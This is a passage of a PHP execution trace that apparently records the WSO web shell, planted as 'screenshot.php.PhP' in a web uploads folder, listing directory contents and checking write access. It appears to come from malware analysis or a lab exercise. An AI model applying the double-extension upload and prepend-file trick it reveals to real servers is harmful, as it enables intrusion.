'group' => 'root', 'type' => 'file'], 4 => ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 21:52:27', 'perms' => '-rwxr-xr-x', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 5 => ['name' => 'screenshot.php.PhP', 'path' => '/var/www/html/uploads/screenshot.php.PhP', 'modify' => '2023-02-12 21:52:27', 'perms' => '-rw-rw-r--', 'size' => 101333, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file']] 3 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 669 $files = [0 => ['name' => '.', 'path' => '/var/www/html/uploads/.', 'modify' => '2023-02-12 21:52:27', 'perms' => 'drwxrwxrwx', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 1 => ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 21:52:27', 'perms' => 'drwxrwxrwx', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 2 => ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 21:52:27', 'perms' => 'drwxrwxrwx', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 3 => ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 21:52:27', 'perms' => '-rw-r--r--', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 4 => ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 21:52:27', 'perms' => '-rwxr-xr-x', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 5 => ['name' => 'screenshot.php.PhP', 'path' => '/var/www/html/uploads/screenshot.php.PhP', 'modify' => '2023-02-12 21:52:27', 'perms' => '-rw-rw-r--', 'size' => 101333, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file']] 3 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 670 $l = 0 4 183 0 0.016473 1079712 urlencode 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 672 1 '.' 4 183 1 0.016487 1079776 4 183 R '.' 4 184 0 0.016501 1079840 htmlspecialchars 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 672 1 '.' 4 184 1 0.016516 1080032 4 184 R '.' 4 185 0 0.016530 1079952 urlencode 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 672 1 '.' 4 185 1 0.016544 1080016 4 185 R '.' 4 186 0 0.016557 1080016 urlencode 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 673 1 '.' 4 186 1 0.016570 1080080 4 186 R '.' 4 187 0 0.016584 1080080 urlencode 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 673 1 '.' 4 187 1 0.016597 1080144 4 187 R '.' 3 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 674 $l = 1 4 188 0 0.016622 1079728 urlencode 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 672 1 '..' 4 188 1 0.016636 1079792 4 188 R '..' 4 189 0 0.016650 1079840 htmlspecialchars 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 672 1 '..' 4 189 1 0.016664 1080032 4 189 R '..' 4 190 0 0.016678 1079952 urlencode 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 672 1 '..' 4 190 1 0.016691 1080016 4 190 R '..' 4 191 0 0.016705 1080080 urlencode 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 673 1 '..' 4 191 1 0.016718 1080144 4 191 R '..' 4 192 0 0.016731 1080144 urlencode 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 673 1 '..' 4 192 1 0.016744 1080208 4 192 R '..' 3 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 674 $l = 0 4 193 0 0.016769 1079712 urlencode 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 672 1 'data' 4 193 1 0.016782 1079776 4 193 R 'data' 4 194 0 0.016796 1079840 htmlspecialchars 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 672 1 'data' 4 194 1 0.016810 1080032 4 194 R 'data' 4 195 0 0.016824 1079952 urlencode 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 672 1 'data' 4 195 1 0.016837 1080016 4 195 R 'data' 4 196 0 0.016851 1080080 urlencode 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 673 1 'data' 4 196 1 0.016865 1080144 4 196 R 'data' 4 197 0 0.016878 1080144 urlencode 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 673 1 'data' 4 197 1 0.016891 1080208 4 197 R 'data' 3 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 674 $l = 1 4 198 0 0.016919 1079728 urlencode 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 672 1 '.htaccess' 4 198 1 0.016933 1079800 4 198 R '.htaccess' 4 199 0 0.016947 1079792 urlencode 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 672 1 '.htaccess' 4 199 1 0.016960 1079864 4 199 R '.htaccess' 4 200 0 0.016974 1079872 htmlspecialchars 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 672 1 '.htaccess' 4 200 1 0.016988 1080064 4 200 R '.htaccess' 4 201 0 0.017003 1079856 wsoViewSize 1 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 672 1 64 5 202 0 0.017017 1079856 sprintf 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 320 2 '%u' 64 5 202 1 0.017032 1080240 5 202 R '64' 4 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 320 $s = '64' 4 201 1 0.017058 1079888 4 201 R '64 B' 4 203 0 0.017072 1079952 urlencode 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 672 1 '.htaccess' 4 203 1 0.017086 1080024 4 203 R '.htaccess' 4 204 0 0.017100 1080080 urlencode 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 673 1 '.htaccess' 4 204 1 0.017113 1080152 4 204 R '.htaccess' 4 205 0 0.017127 1080144 urlencode 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 673 1 '.htaccess' 4 205 1 0.017140 1080216 4 205 R '.htaccess' 4 206 0 0.017154 1080144 urlencode 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 673 1 '.htaccess' 4 206 1 0.017166 1080216 4 206 R '.htaccess' 4 207 0 0.017180 1080304 urlencode 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 673 1 '.htaccess' 4 207 1 0.017193 1080376 4 207 R '.htaccess' 3 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 674 $l = 0 4 208 0 0.017218 1079712 urlencode 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 672 1 'prepend.php' 4 208 1 0.017232 1079784 4 208 R 'prepend.php' 4 209 0 0.017246 1079760 urlencode 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 672 1 'prepend.php' 4 209 1 0.017260 1079832 4 209 R 'prepend.php' 4 210 0 0.017273 1079840 htmlspecialchars 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 672 1 'prepend.php' 4 210 1 0.017288 1080032 4 210 R 'prepend.php' 4 211 0 0.017302 1079856 wsoViewSize 1 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 672 1 57 5 212 0 0.017316 1079856 sprintf 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 320 2 '%u' 57 5 212 1 0.017330 1080240 5 212 R '57' 4 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 320 $s = '57' 4 211 1 0.017355 1079888 4 211 R '57 B' 4 213 0 0.017370 1079952 urlencode 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 672 1 'prepend.php' 4 213 1 0.017384 1080024 4 213 R 'prepend.php' 4 214 0 0.017397 1080080 urlencode 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 673 1 'prepend.php' 4 214 1 0.017411 1080152 4 214 R 'prepend.php' 4 215 0 0.017424 1080144 urlencode 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 673 1 'prepend.php' 4 215 1 0.017438 1080216 4 215 R 'prepend.php' 4 216 0 0.017451 1080144 urlencode 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 673 1 'prepend.php' 4 216 1 0.017464 1080216 4 216 R 'prepend.php' 4 217 0 0.017477 1080304 urlencode 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 673 1 'prepend.php' 4 217 1 0.017490 1080376 4 217 R 'prepend.php' 3 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 674 $l = 1 4 218 0 0.017516 1079728 urlencode 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 672 1 'screenshot.php.PhP' 4 218 1 0.017529 1079808 4 218 R 'screenshot.php.PhP' 4 219 0 0.017544 1079792 urlencode 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 672 1 'screenshot.php.PhP' 4 219 1 0.017558 1079872 4 219 R 'screenshot.php.PhP' 4 220 0 0.017576 1079872 htmlspecialchars 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 672 1 'screenshot.php.PhP' 4 220 1 0.017591 1080064 4 220 R 'screenshot.php.PhP' 4 221 0 0.017605 1079856 wsoViewSize 1 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 672 1 101333 5 222 0 0.017619 1079856 sprintf 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 320 2 '%u' 101333 5 222 1 0.017634 1080240 5 222 R '101333' 4 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 320 $s = '101333' 5 223 0 0.017659 1080176 sprintf 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 327 2 '%1.2f' 98.9580078125 5 223 1 0.017675 1080560 5 223 R '98.96' 4 221 1 0.017688 1079896 4 221 R '98.96 KB' 4 224 0 0.017702 1080016 urlencode 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 672 1 'screenshot.php.PhP' 4 224 1 0.017717 1080096 4 224 R 'screenshot.php.PhP' 4 225 0 0.017731 1080080 urlencode 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 673 1 'screenshot.php.PhP' 4 225 1 0.017745 1080160 4 225 R 'screenshot.php.PhP' 4 226 0 0.017759 1080272 urlencode 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 673 1 'screenshot.php.PhP' 4 226 1 0.017773 1080352 4 226 R 'screenshot.php.PhP' 4 227 0 0.017786 1080272 urlencode 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 673 1 'screenshot.php.PhP' 4 227 1 0.017800 1080352 4 227 R 'screenshot.php.PhP' 4 228 0 0.017813 1080432 urlencode 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 673 1 'screenshot.php.PhP' 4 228 1 0.017826 1080512 4 228 R 'screenshot.php.PhP' 3 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 674 $l = 0 4 229 0 0.017972 1079632 htmlspecialchars 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 678 1 '/var/www/html/uploads/' 4 229 1 0.017988 1079824 4 229 R '/var/www/html/uploads/' 4 230 0 0.018004 1079632 class_exists 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 681 1 'ZipArchive' 4 230 1 0.018019 1079672 4 230 R FALSE 4 231 0 0.018034 1079632 wsoFooter 1 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 690 0 5 232 0 0.018048 1079632 is_writable 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 268 1 '/var/www/html/uploads/' 5 232 1 0.018066 1079672 5 232 R TRUE 4 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 268 $is_writable = ' (Writeable)' 5 233 0 0.018094 1079632 htmlspecialchars 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 273 1 '/var/www/html/uploads/' 5 233 1 0.018110 1079824 5 233 R '/var/www/html/uploads/' 4 231 1 0.018126 1079632 3 36 1 0.018136 1071592 0.018163 990000 TRACE END [2023-02-13 00:52:53.158635]